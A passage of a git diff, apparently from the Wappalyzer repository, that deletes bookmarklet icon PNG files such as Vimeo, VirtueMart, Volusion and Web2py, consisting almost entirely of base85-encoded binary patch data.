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 ZU=o}zl)fsNqaEmA22WQ%mvv4FO#orDb(jDE diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Veoxa.png b/Wappalyzer/drivers/bookmarklet/images/icons/Veoxa.png deleted file mode 100644 index 9cc61203d463a2a57e2556603da4e2d60d3ea057..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1462 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 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Vignette.png b/Wappalyzer/drivers/bookmarklet/images/icons/Vignette.png deleted file mode 100644 index 6312f2c4193c388d035a44f990baa6e7904d68b7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 393 zcmV;40e1e0P)e(&q6#mB9yh zuy3%@Hj%#oQF~;n&HzYkbF$MAcB+rP)C6^}9)q}Gqs7nU@L;IS19h*T#@YaHsSt3W z&*bkAdawXmh>*hE$KdT9!~j)*zuM@c%;5k{bwHE9AbO}E z3R*h=005;)L_t(|UR}xsZpA=Jum386q*Tye6V} zqlx%Sd|Q}sh#b>UnCT;@U0)~zvyTs?+4Ua~%EBI#*quT?JAQuY3v1OR1YG{XThsW) ne~#N+;C=V_)pg#(KmPDP1)mZ7JV`D500000NkvXXu0mjf?xDAs diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Vimeo.png b/Wappalyzer/drivers/bookmarklet/images/icons/Vimeo.png deleted file mode 100644 index 4be20e25d99de87b86c1b001e91cba2c29bd9969..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 634 zcmV-=0)_pFP){gOvUU?#q3SS z>{-g~S;_5Z&hKZ>?{w1ebkp#3)A4oF@qyRzg4ptq+w+jz^q%1Lp5gVYC#~=C z^7C#;^1uK90h38YK~#7FeZcEllLrt*;ZXv**BT;H@suL1lolbG`@cN-65`{Z@>acG zow*mnL3g5hwt8K4a_X~IOcQM5-swrLJi;_l!QjEF&O9PO(h-9PZ!2v#8l)lG>89y6 zkb;B=jTjq(zH3aHE)Zj{zunz^0g?0T-OT*Gjx;4PaB)9Rt|YGSXYVfn%MRwlZWjO0 zmoKRbO#lO}0h@?To%y1-wem%)dUfgxPG41>tls!P-mFgQCmI7w UIE)KDh5!Hn07*qoM6N<$fftrN>fzNr`sKPe^w{RL%pAzHNl)Cjp2pB#wDlyKmf~_w`N>9}#fY(4hJ z{}!O%Y}!P+_B4|BkeUk$iGTtD$QTq5{|pdn-4H&YbNNAe;Ojr9EkIA+b-%X8_ee@l zKM6q;&?__jJh z$*T*%)@%te5#l1ja%2-z{eZ-S47Lu+u5)9eCwA)tlhDNmwueG7jTcK}~TmvJ3=Y5g-XfC-nu$ zwDm=Tm0QqNcfjuNymRSHXLaKkd_zW_ts5NaT}1-^P81g|+z zKIbOPy&k>!VVJ)H>Hi6aFM`(Wna-^h(i}0hb_g(-VYClcY(!V@MEZV$p6@{;-XEcm z1h>3EL7T9m3tip?*G7@Q&OqN;AOaPTOOPZmiD>&5&LEc(%!^Q)RV>y7tz3jl0IkZ3nC;;Agf_5_@C$}e zR7T1g0!W5Xm5wGu!Y`%SRS`MSD0>-$2@kOZ0krL^Ce$g605W2-Kyj!P5qP*Wex8-e zfms|1aS7i-70@d#07jgdHWBtF68yV@lWPeFNHF0>o^fQs@_)Mk4Pz*d>?&|Or{2X5 zPYLc;2<>ip6KWg)_jGv5*&?_G0it!TxG-hvXEkDpkVCsTzt+jaxC2s0#hVeP)-;IQ z>dcVae;q>+tK!M*w%4iXN` z0jd0OrG2!#Or=?k+yeijqN;-~Ah(7Jq1SRs-2iW_Sn{ab>eFIDLCeWOA(usRH3U$V zbQ}_GI;)CXnA|52w^`j{R3M7wZ9ij7M(Sg0y=Xscf4IYYukr1D+yfI<=@WHEBf zVb%-wT!LK4-6`Y9O4Dyb01l9AkCXK(IYY`AOoW2AO+>9`j%3f7GcMYT?=K@tiZ1|X zivY)`z#Llnb+;;;dWD>EE6oKFzx4>-7paJLXmO*dZ;!n)TmkQ52u#Jx42~|Mk&l)c zFX3*O0K`N@2==R&fTTF=`(!>$Z(a<%=$5zuhocT`*9qNB){9`Zv(;>OyR(!~3?{mf z&M?xv9e4y7#_;a~9H)R=w83*^O{iIkdW}PePYje&wRAv7(@tO`@H2*)3vj$&KQhrl zi}y;6DWU4*3Z&ek!Lz_p;0V(|#q^PY=bOX&R&4=?K)X=!32E>SHTE$>1ZIv)z-Ag@ lJ1KY5l25415-{=^;vX0vvI@AHok9Qr002ovPDHLkV1jBocr^e3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/VirtueMart.png b/Wappalyzer/drivers/bookmarklet/images/icons/VirtueMart.png deleted file mode 100644 index 6040aa4f6daad6cb829b3c3cd2746c71923d4bf8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1878 zcmV-c2dVgpP)hWAR-@1Ai-ED|wK+psl3&r=FV!{zw|$-!z&^0#(+0BH0=1-f6DjqdSOod2y4 z(w4gLX67!WuK5Y$^P4egu^*#6FLb)`nt@0p02y9&2Zt>{3?&9t$!uH*M9f^Tr~9RMkI!7kjMkcYLV=l^L^l46oo5v6BGQu zi{;Mk_jLr>NtadMG%gS$ocCkiYKL+>aoJT&Dfk-cp&^RM-=fq>Y=b2-&Wi3bK7NT0 z?$AZ$duC~_A~9eZ)zRBS^Y6JumQv79KqF_ z1F-Sf5Ts7%hvNEs==smc>>;_O0MR(typ@BIz4t}FeTB&dD*IF z)vP&?&rNPIEj$nI;@eWP4GqIle6|JI^;rZ!QZn@1yZIV=%h>!KZz0d@$@{+LjwU27 zjq_iJdsVCQXyj1<9PJuTpBTIn_7;4F6yd!gU{_u(lQ1XY29ywkJ`0xUbET zcHpOGB3Lf~1ZDv!w<-kFSC0eFAeP#LF3lftd=tsO*fZLbvt zMuhwrIcJCVxRzJ4&gDhXH0pMD6HF%^_jcb3O4 z7YWJqaJs;8oe{D_$lTI9Mj_{7vkYWhTFYt>016euPJrHevtDOXe9$Ugv(759$Uya) z?kmHj(k2vSC&X42+nA}qN0IgUw?Sd9JRt5t%CRP z0pvE^LjIY{SXw(#RkZk*DEzDtvtDqrMo}VH@^_ZT%aNWq5b1&Wi=R?ABLM0;TPX*N z5y zK@H2>M`o92AI60Y4~komw*DiyzRXt5Cl&pnA%kg&bva}oFVKNB=-sniPB0?5d#}TL zVuc9Gy!-1Kk+UsR4l(>B10Jb4{PE2YG=i6g;nJF(A|VN5>o<~p zS42b_CK!6pdCqNpQ0Oq`pJ63{K=ox5o=X=mHvRgna!j_fBAA}+b6*HJ&t`;3S_)I{ zkrV;wD7W&C1BFOuKrj{bo+Gu{Od~Sn4ZSR4k$@~KGyRIN2BcCzBdiEU$22RBYf2mU zswWs=xyRG=jy+z*rO}pV36o(yXS_p=57-S#o)A5A8@Sf2LyfTTFr{&2y+_i_C}ixs z&b4?8_MY$w9JyikrABbC7;Tqg(HQiGXJDfA+U}4^i}D!4_=g5n%%E3!F`tWe?6ts` zTRp?{d~tvvGA_*|!O1a2m>S}%Y7}|H4g1sv+6Tt+E;PdLH%T+aXYBl|@;)X!@`CE- z|1sMlm^sX}S^==f?bQ7bNq{Im88t5nFxhSoDC`$hMy|7a+Vg!hHphtv?D^wAny%aS z%x)fx(1Ja~kykkbrN`zFpm-7AV^Ycq$-gIEWR0bc;~7VJJ?Fc;H z&Gx7zx%Ti7>vZt}rR|A+9KYHJ7I!y|V=;pyC0nz;8Awo0Q}IS*B5vOM3;xZi?|rLE Q+W-In07*qoM6N<$g3!T~mH+?% diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Visual WebGUI.png b/Wappalyzer/drivers/bookmarklet/images/icons/Visual WebGUI.png deleted file mode 100644 index eee252976c6447ce284ef86943fc687e7e5f52bb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1486 zcmV;<1u^=GP)-*|kt5#JBJN&NhAqQ3g z(2s5>uLApA!Mf($DH+$3u?NQh0fZ@VPL*FoIT0$3Wd$2R`S=&esq@j#G8|d2XjCu9N~t4rG7_T;e5w)&!|J$AT}_a~Syi`0vO=$Ci`WMqqsf2ZW<* zTrXj~W3-56FRHQvnqaHPgM zZ&~0;;G{Dp#8e2?O)i>X3854|&B8 zgif5Uyt`DP5ufwVG zyc7C(Y8-;Iz%=tb1I<9PM3G*S8_U28&?ZDp&BzcuwQ~$qc!9GxR}EPM4q8QP<~1n^ zZOHgUnTAA{K(Uz{;z51l%P_=)2G+~ntU0e71oi?df@>>7+BW8rwjom(aL?}DlK!cI zLr{giS;v@l*kN^e)D-C!G zjBTpT?RgbVtIoHZK1Jg74Gv*XL{COmcdT*PfG!NI0lx%{jKs{|Cq$^sPiR}Qg=>!k zTT&HiJ9dDv>Lz6@GR%?!GdA#XLSPmN%EGE*qga`ci9`l&%gPj@Y;EUs#5QV~x8*eg zcg=|CtfN*+z^zk<2h9&w}jY>=$aCS>> zcH`W%^G#sJ(PSJ+=q1n*NMmD=NfMHIk{b(93ylQ+?@&(L>`(!uiXC*3e3*=yi2<0o z5x8-*=2@E`(9?Nk8h6XcF(z5*shEG!%1G=Qs&aD<@p$ zIEHejQ30_GomnEywvIjx!Jk^HfYk_%zSLC!oXH%=oNVxez~`D&s3sILwWL}$<(8?i zY(^v@kts-t20(<*fFGJ^csM9ytMJ;^?J9<%&F*oBNSDlLy9((5q(lK9BHhEyo>1gR zj_00tDs48`$vR|8G#S4QaI|whP@54sWIKGw*q}|om7kR_MNsTJh=}IU~ zVs?s;j%*5EO0E+EGO?|hf(W$=-U%n_^SoKd!-{O(lx_i&u85k-<2oDr zbUjI5N%U0)P8aY5u;G4+3qadvmyaXAcr*7cl=pJaKVog%2D9^$z5TS&(D7y9=fd#} z@XhX@HdU6+k<0;Mwx6}KGe{nQxm2k+X*GGr<_PJjIF9GYeclaw6 zf+}YPj;in$@YR3D$V0#W&BJMXJkOEa2JxdK*OFC%{T>bh_aNK|Twy!HU`6&E%Fn>@ oS~;3|egvw2{}=ggx^u?-0SKw@@)|U@Z2$lO07*qoM6N<$g0a)UCjbBd diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/VisualPath.png b/Wappalyzer/drivers/bookmarklet/images/icons/VisualPath.png deleted file mode 100644 index a8396bfb2f5fd8820c80ecf4c20eaf072804b44c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 557 zcmV+|0@D47P)Nkly)omg=ikl8E3 zR^v+n zuVttBiLymvH%sP=KFXUY{yC#m>tEGExo34-`S(vcqIalomvIcH&D|nQzA=K<=H~o6 z-2w#vCpQZJ&*~BRpV=+?KWCEA|Li{D|5dYe{-x!a+_Ev2)J4&(BF1B?D$cuFU6Svw zj=aEsZ5e_8h8lwZqYFj;=S>p*Uou_pe`&Yj{~&M8|6b;*|5Ji(|L4bfrZ8yA^NIp- zj<$q$D-hVG^wf`YbI{#BcZU0y2 zgx$%DbF%{(fD#=>YQoyqdXfuVOyz+ZRQ~(fssHz~RR16BsQW+8*W`a;qUZmb+_0rt zkq%sV(*ZErJcC_yK1O;N{Ezi9{+}LZ`@b?PYR{@f_PWH!I{|rc22Tzb9`vt00000NkvXXu0mjfG4>ub diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Volusion.png b/Wappalyzer/drivers/bookmarklet/images/icons/Volusion.png deleted file mode 100644 index 20e6d109a822f959a4eb346ab9abbf2a6d956252..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 334 zcmV-U0kQsxP)C3`uXAv%`_Cz8h3{vc=Ko?eQK~da1w6xXRV``1(O{k2`FOM01fcW`-nM zeHBl2-skKpUxB8)%D&FnS%RHtj;7e+=<4tDwa3#|fSXNvmTQow{Qdofq_^$z^dVS$ zcbTqklBuJ*$r4R-2}W)>YKmoxq?E6~N_UiipR^LQYHR=i00DGTPE!Ct=GbNc0044H zL_t(|UVYCs76UN=15uCcWe77f-~W1P{IYfvb^6^HLp1+G$&%T^g@8@99C)x343MiR z0hg{+4Gl0Fs|KcO=3oF?simi;j|bLDsI=h+TkXpIfe!5Pbk1!6T)5r{;hsI75x}c( gF}&+f2mf--7qemoM&5s@MF0Q*07*qoM6N<$f)JgQcK`qY diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Vox.png b/Wappalyzer/drivers/bookmarklet/images/icons/Vox.png deleted file mode 100644 index 8644dd57437c9780653ce2255c611ef28383759e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 171 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbKJe}GSjE0AtzXgF}-z<(fMVEC6~ z7!4F+ED7=pW^j0RBMr#$@^ox;FGR(u1Ez>g1qf)JMa?Jb_%tDe(J>yKh;!Ip(Ozfjfed2+NjSRw^FLXPf z>2%!IWNaDXbfDG9B;2~C$mvMCS$MM3@eccCwT`=6EYdS<`pfJVRy%BHuq?~9on7g; zw`C5mI}6a2G9^KN!3_IzRoxmSIV~c;UYh)7%{^t~^N$xa9nD$q`sQkFYd6rFjLx1e zjv*CsYcE}&)Z`$-a=|S5+Sx=S$s>FI|Ie;YXImTO6<2niTjb%TSn)r1C#wbKNhE&~ zJ-0ihXSU6yl+Jx>w-=qU5YAyWS|mJgO6IDQ5)})bWn_hRY2A0QQ?Z>r_wbCok~iFW zE?bPd40p1HH5pEQyJ)SN^MppV*^4L4Ij#R-cArz2-a(#oN9t70@GcjepFRD9NLDt> z>E}MdQ!lLc;*>hFz12Tr_AbHdRi|1PSgMtC&M&;Ux;Q9w(Wau$i#;1w&s-f97^*bM zIfY#(;B%;F#ir1yH}9%^*)>bVaC7L>!o?>U%%@GCv&YZk;MxP>x|3ags(vY4{oWjoBjgnB=ne!=r}p-8c8!&1!$o-#ROM3pdlB?eQP<&8wYWSk(f9ox#)9&t;ucLK6VDGXanQ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/W3 Total Cache.png b/Wappalyzer/drivers/bookmarklet/images/icons/W3 Total Cache.png deleted file mode 100644 index 36f470fab7a8019fc7c019c183aec02eebe3ea97..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 508 zcmVmBqr z{(Cso>Oau=1PuV;U$^eqzzw+GSF;dkz<&^a-PcEy0bkc{>;`N8_VSs`!9cSgFasWU zHWOvQhsO5nU;`ekoKpeQ48pftD~K`xgnvJOp~moJ^YUzD1Fkma|9{=m`u|;f_x}$~ z9iY(1X#g;q3mIOYJm`&Vz^#Vj|JPyy!1#Jn`2V}*x&I&3mHmIxQ2qaTbL0Qlt!)s) z+j{lkZmrS$)?+)xqfTsgs3OsqOI-6+C4?F6&p(Nv*(^^;D zF3uoI^Y!G24?kbMltnS%)AdXC_nWKs-^xjR3{>D2Ggnl0000UZrz-9Ae9bOI;mwFIN7X2wBmoFf+7wP>?k+^ z>~Nri3C>P*NH_L_sht82hOKnyswt*T*^;Ksx;9O6f1i8LdEfWzOU{7{!L1$p(>?Iv zIrqMS=lOo$bHj)Fzen*tB+sy!q5cUv$9B^(I6}B?#I{)9I${d>o~{9mZPIL(h@z^L zO4BSapR@Dxr(}Nq4PfSd7m%Ofv7PmFj~}FX>o*zv+z`b(AU_C_fNr3dmXLqeT$eQv z$Ixm)wF;FABnh~4d-g2$#EG-AwDc{#xcDlNT(^Mz6FXJ^C!b^V;W3IkL0Vw7!+


xZ`%*H z(><03+5|8l?O?2i(9n8qTJmy}B5JfZ;Go$=vS;3T2dUSQtelyg)Mj?}6Tm+dZP9v> zuZKGy`Gs14Pl(@@hKbF>HCUZ_oSub-=;bL2g)u0XS3iH;md9cki*gB*goRXvv!_|hSdoi%J8j=+d7wTviaBiyA z70M=G3TMzzLb&i4x+aY37M}uvFi5(5lB_t_>EYdo=6a+WrAWA2; zS$I|;o!((x0dc{^G2&3}Oe?i30I>PBhl1e)&?YHM(CvRP!>PEaXqryTUVpb=`` zF!{VscL=_+SnCi2jx!56?tAtS51)UUD$oHGy1VhiFkQb3R>ojO5WoT+(6@FiUKkR` zu`6)jUyjk&{RQ$x@P*qy60l<^ppjT&4Y7bRUW)N!69hv2N2Q#9C|=@n);_Xy6U>S!&A^`oIF(bWx8zVhaYa7L2rM7Z8kr!H$IK zyAQCxZyPWC`D=(Iv;YGLsXCQnczm4Dt=*K%NUa8dK{x&=8_EZ9!9{;29AH z)^zaTXSdO;8JdyiUza0lO^Z#ZPA4|m^a5g4TE=t-sk?iHgm^FKlNq9-=``}U5Z$YEU{If6xIPMyH^kK6yRJb zA|puCV!CpCd+$?t03wiuuSOfgccbWyz*pisPr5|b9n0Ud!t@*c(mwGyTr zk~QZ&r92ONetz=g)7$3e z9&+KY0dv3=pzhV5xb20PPh9(TOFRN!f$)JY+nXbhHXH zz{M=Q1{e?E>XBOxKJ)v@$4*~}C9x3rfZ_v4{AXc$Uy^+9CrNTFfj5B*8CQWiU;qio z#PfTF< zV$GQxjMq;M9qO%oXMFF=fG|HqXn#|ues1jqB5ceZ@s?>v#XIe9>~Nf~@c~uUkyPrg zz!rh-XG}wk;!ma`6RNMGj3?U|?e}4`KwB}&SZeUIVzs4QHBlTYJSY=6rl+Bvw1wb_ z#tgRAEB+jcQgD;RaXX(F%gn0F47GQWwgkt3iOMjqIq^#*Ox~{Ho8|F-jt)~H=&1S1oY}|czqk)Dh}0oD5H4+76`MB3%h80 zjJsV_bK_=iFHJ`akIV>NNHF#cZw)rrGFX<3jL=_Br0H#)678yMtxV??I-lymu zL63^zR3v7k>$}ahjAeu8Ak<8aHgkC!?ha9kQ+ZQ+kIt$R$Ulfpq| z;bz=Y3S%R=yFr*9sGI^C?brQZpo%b{&V8Hht4kEh*Do`7Vpf^5voh6}v6fFK)-ZTQzN4+9E^M30 ctqKVI083O-p6g{PssI2007*qoM6N<$g7E@F>;M1& diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Web Optimizer.png b/Wappalyzer/drivers/bookmarklet/images/icons/Web Optimizer.png deleted file mode 100644 index 64fe47fae0ccea8b8dd9aeda43d035d844a66fbe..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 520 zcmV+j0{8uiP)ihfr0s=K4AWSJKR4OV|qN25t3CbW~J!S66sgSb1Y(f@*4raBz%paE)+rlyPy6a&nJ)dX;>Aor8m% zhK8Pqh@gpypoxj6lar{Elc^vfSOx|-BqUIwp|h*2yt1;wxw*%?yUEJR)zZ@2)6?EH zHC@)$-re2g0IXPfDI$}CIYyJKHl9H&Z>a{rl0004WQchCS`&4- zs7b5w4sBR%DjKR;9Res;Hgs(&MWB-lQgeQ(1#=w~vg?KTq;2y}EY{fq(uotpKTfab zyoPy7q!Ei884{)az9d3CMq)@USG?XtyDe^4u9hj}eRZ;SKcDY4vhK?R-e<|JP1;+^ zCoh1^&OfIy_wO>$zWY{rb~wz+R{sk|-1B01;&932z_JEO3GE+nLm1jVfMf6g0000< KMNUMnLSTZ7FYjRh diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Web2py.png b/Wappalyzer/drivers/bookmarklet/images/icons/Web2py.png deleted file mode 100644 index 252c602a09bebdd2b2e33cdf1de49104c7b9e526..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 133 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!D3?x-;bCrM;TYyi9E0BIRpFLr#*lHk)u_VYZ zn8D%MjWi%f*VDx@q~ca`LP7$E<#B;kCj}mz6u5L;;MBndKbbU+B~9w4YUJS) bU}9!?IGH1Cf5N{#K#dHZu6{1-oD!M*U=%qJKCNkt5oW<%ldrMhzYO0w?r{ zc{-B*jK?_5V|qA&oyNyKDN{Y>cqC(vuW&`M*}}Q5#LS3e3{V$KJjp)}G=9ch$fw(K z>GnMjA$d&4KBlvXKD#S$WV3hgYo6rE9%CF{`$-tNp=y?tXfy+%{#JL=qfGnW$PXQ| z$nirRf%;FuQN%Wf>^LCC5K|1W*nrzI!(X={B8d@^mBRjr$VDVU7Q(U+f{8k3WRAKQ zyA&qGz_3W%mMFKfAvV~)X7BD7+=-LCwSVPEBpQLp(rETlz){JSEE5&)af9b!of|wy zwOF;2%%zg>wR%|+LYIpD)$6^vzd&uXk@Tn09SiWHRn+NB(Lbo|6lpY2_c4+(1u0lX zqIYy!=Do%5U|9<##s`0iigiq9AxwhbSn&O?tHcoTlGWr_+wkJmh%wG%n2e@B1FwjR z_kH_Tpc%8=+jQ_`Z=6stP$}gv`fa}{;pmr@I&FzK^bf=oCyZQ$IVcLAN`ncOy~vyU ziW2yD$C0!dXy!b`Iul9%DRJ-*f~O}6mn@2bA?ES{%)WrWkgu*tBJCw}mv*E)pR>0} zry&?TpXbp}Vy_>AIemUNc`_Lo;>%x-m%YoQy}tZkgI?7BoT9yS4Wv}d;AqNAj2A>( z;XKz!+f&Uc%Zn@Pq7l&7o802nUn-&?JyeF5fpK|uaPRKD-cc?q>Yi)JnWxRJD{ zxuFgfX--8#R_Q3-&$BvVdJmJSQ)-Rx)*nBm(`>THb&n~YJiHP9N~8!QaQ$V;V<`vZ&w@Jhbs{%CtP|w(j1Wx|k{%D|!pvxtJZk$YFhg zuTRALWuAdIyz4Szouwqe6d!Cht2poz6`aaRDNyp}O~cHbUG`y@TX)Y>y!KPV{1|DU zN!n+5cgzLc1?)PkhkNP}^G~p>pTRTKRTTwV7G<82d0OU3nbjl^5f#HCgOfQ+JChd| z6c&*rdEbElzo(jad{DLh^+WoVcT(rzdB2ocQUUZE3-}HZpw^kZ%NfmO(1kgk$FiOU z^nl9BbI&UxeoIN`T_;fJ>*VES)r~wC*4+y)B*>@Roh3C#D#}WSQWFBzf7I6fH6J0V 